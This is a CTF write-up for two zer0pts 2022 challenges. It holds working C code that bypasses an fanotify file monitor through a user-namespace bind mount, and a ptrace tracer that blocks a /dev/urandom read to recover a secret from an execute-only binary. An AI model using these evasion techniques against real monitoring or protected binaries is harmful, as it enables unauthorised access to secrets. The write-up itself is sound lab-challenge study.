Skip to the content.

I played zer0pts CTF 2022 with my team, Crusaders of Rust. Here’s a couple of challenges I solved.

0AV

In this challenge, we’re provided source code (antivirus.c), as well as a bzImage and rootfs.cpio file we can use to boot the kernel. Let’s run qemu and give it a look.

Starting syslogd: OK
Starting klogd: OK
Running sysctl: OK
Saving random seed: OK
Starting network: OK
Starting dhcpcd...
dhcpcd-9.4.1 starting
forked to background, child pid 82

Boot took 4.19 seconds

[ Native Protection - zer0pts CTF 2022 ]
/ $ id
uid=1337 gid=1337 groups=1337
/ $ ls -la
total 4
[ ... ]
drwxrwxrwx    2 root     root            60 Feb 20 07:51 playground
[ ... ]
/ $ cd playground
/playground $ ls -la
total 4
drwxrwxrwx    2 root     root            60 Feb 20 07:51 .
drwxr-xr-x   18 root     root           420 Feb 20 07:53 ..
-rwxrwxrwx    1 root     root            28 Feb 20 07:51 flag.txt
/playground $ cat flag.txt
cat: can't open 'flag.txt': Operation not permitted
/playground $ ls -la
total 0
drwxrwxrwx    2 root     root            40 Mar 20 13:17 .
drwxr-xr-x   18 root     root           420 Feb 20 07:53 ..

Even though we have permissions to read the flag, we’re denied access and the file was deleted. Let’s check out antivirus.c.

#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <sys/fanotify.h>
#include <unistd.h>

static int scanfile(int fd) {
  char path[PATH_MAX];
  ssize_t path_len;
  char procfd_path[PATH_MAX];
  char buf[0x10];

  if (read(fd, buf, 7) != 7)
    return 0;

  if (memcmp(buf, "zer0pts", 7))
    return 0;

  /* Malware detected! */
  snprintf(procfd_path, sizeof(procfd_path), "/proc/self/fd/%d", fd);
  if ((path_len = readlink(procfd_path, path, sizeof(path) - 1)) == -1) {
    perror("readlink");
    exit(EXIT_FAILURE);
  }
  path[path_len] = '\0';
  unlink(path);

  return 1;
}

static void handle_events(int fd) {
  const struct fanotify_event_metadata *metadata;
  struct fanotify_event_metadata buf[200];
  ssize_t len;
  struct fanotify_response response;

  for (;;) {
    /* Check fanotify events */
    len = read(fd, buf, sizeof(buf));
    if (len == -1 && errno != EAGAIN) {
      perror("read");
      exit(EXIT_FAILURE);
    }

    if (len <= 0)
      break;

    metadata = buf;

    while (FAN_EVENT_OK(metadata, len)) {
      if (metadata->vers != FANOTIFY_METADATA_VERSION) {
        fputs("Mismatch of fanotify metadata version.\n", stderr);
        exit(EXIT_FAILURE);
      }

      if ((metadata->fd >= 0) && (metadata->mask & FAN_OPEN_PERM)) {
        /* New access request */
        if (scanfile(metadata->fd)) {
          /* Malware detected! */
          response.response = FAN_DENY;
        } else {
          /* Clean :) */
          response.response = FAN_ALLOW;
        }

        response.fd = metadata->fd;
        write(fd, &response, sizeof(response));
        close(metadata->fd);
      }

      metadata = FAN_EVENT_NEXT(metadata, len);
    }
  }
}

int main(void) {
  int fd;

  /* Setup fanotify */
  fd = fanotify_init(FAN_CLOEXEC | FAN_CLASS_CONTENT | FAN_NONBLOCK, O_RDONLY);
  if (fd == -1) {
    perror("fanotify_init");
    exit(EXIT_FAILURE);
  }

  /* Monitor every file under root directory */
  if (fanotify_mark(fd,
                    FAN_MARK_ADD | FAN_MARK_MOUNT,
                    FAN_OPEN_PERM, AT_FDCWD, "/") == -1) {
    perror("fanotify_mark");
    exit(EXIT_FAILURE);
  }

  for (;;) {
    handle_events(fd);
  }

  exit(EXIT_SUCCESS);
}

Most of this is boilerplate, setting up an fanotify listener.

Whenever we attempt to open a file located on the / mount, the kernel will notify this executable. It will read from the file we attempt to access - if it begins with zer0pts, it will be denied and then unlink‘d.

Luckily, the man page has the answer for us:

Bugs:
[ ... ]
       As of Linux 3.17, the following bugs exist:

       *  On Linux, a filesystem object may be accessible through
          multiple paths, for example, a part of a filesystem may be
          remounted using the --bind option of mount(8).  A listener
          that marked a mount will be notified only of events that were
          triggered for a filesystem object using the same mount.  Any
          other event will pass unnoticed.

We can simply perform a bind mount, and accesses to the file through it will not trigger the fanotify listener. Mounting requires CAP_SYS_ADMIN, but the kernel has unprivileged user namespaces available.

We can use this to enter a new mount namespace, bind mount /playground to a controlled directory, and read the content of the flag:

#define _GNU_SOURCE
#include <sched.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mount.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    if (unshare(CLONE_NEWUSER|CLONE_NEWNS)) {
        perror("unshare");
        exit(0);
    };
    mkdir("/tmp/mount");
    if (mount("/playground", "/tmp/mount", NULL, MS_BIND, NULL)) {
        perror("mount");
        exit(0);
    }
    int fd = open("/tmp/mount/flag.txt", O_RDONLY);
    if (fd == -1) {perror("Opening"); exit(0);}
    char buf[100];
    int res = read(fd, buf, 100);
    buf[res] = 0;
    puts(buf);
}

After uploading this on the remote instance, we get the flag printed out:

zer0pts{FANOTIFY_d03snt_w0rk_b3tw33n_d1ff3r3nt_n4m3sp4c3s...}

readflag

#include <stdio.h>

const char flag[] = "fak3pts{nyanyanyanyanyanyanyanyanyanyanyanyanyanyanyanya}";

int main() {
    FILE *random;
    if ((random = fopen("/dev/urandom", "rb")) == NULL) {
        perror("fopen");
        return 1;
    }

    for (const unsigned char *f = flag; *f; f++) {
        unsigned char r;
        if (fread(&r, 1, 1, random) != 1) {
            perror("fread");
            return 1;
        }
        printf("%02x", *f ^ r);
    }

    printf("\n");

    return 0;
}

This looks simple enough. The flag is printed out after being XORed with an unpredictable one-time-pad. We can’t recover the flag from the output, but the flag is in plaintext - let’s just read the binary!

---s--x--x 1 root root 16848 Mar 16 07:46 readflag

Unfortunately, we can’t. We only have execute permissions on the binary. How can we access the flag?

Ideas:

Some light debugging reveals that the initial fread causes read(fd, <buf>, 4096), as the program buffers the extra file data. So, we write a program to simple disable this syscall:

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
#include <sys/personality.h>
#include <sys/user.h>

int main(int argc, char *argv[])
{   pid_t traced_process;
    struct user_regs_struct regs = {};
    long ins;
    if(argc != 2) {
        printf("Usage: %s <program to be traced>\n",
               argv[0], argv[1]);
        exit(1);
    }
    int pid = fork();
    if (pid == 0) {
        ptrace(PTRACE_TRACEME, 0, 0, 0);
        execve(argv[1], &argv[1], NULL);
        puts("exec failed");
        return -1;
    }
    wait(NULL);
    while (1) {
        int blocked = 0;
        // Wait until the child makes a syscall
        ptrace(PTRACE_SYSCALL, pid, 0, 0);
        waitpid(pid, 0, 0);
        ptrace(PTRACE_GETREGS, pid, 0, &regs);
        // Are we trying to read /dev/urandom?
        if (regs.orig_rax == 0 && regs.rdx == 4096) {
            blocked = 1;
            // Set it to use an invalid syscall number so it will fail
            regs.orig_rax = -1;
            ptrace(PTRACE_SETREGS, pid, 0, &regs);
        }
        // Continue on with the now blocked syscall
        ptrace(PTRACE_SYSCALL, pid, 0, 0);
        waitpid(pid, 0, 0);
        // The program checks return value of the read, so we need to make sure that the return value isn't `-ENOSYS`
        if (blocked) {regs.rax = 1; ptrace(PTRACE_SETREGS, pid, 0, &regs); }
    }
    return 0;
}

We upload this on the remote, and execute it against /readflag to receive: 7a6572307074737b446561722064696172792e2e2e20576169742c2061726520796f75722072656164696e6720746869733f2053746f70217d0a Decoding this from hex, we get the real flag:

zer0pts{Dear diary... Wait, are your reading this? Stop!}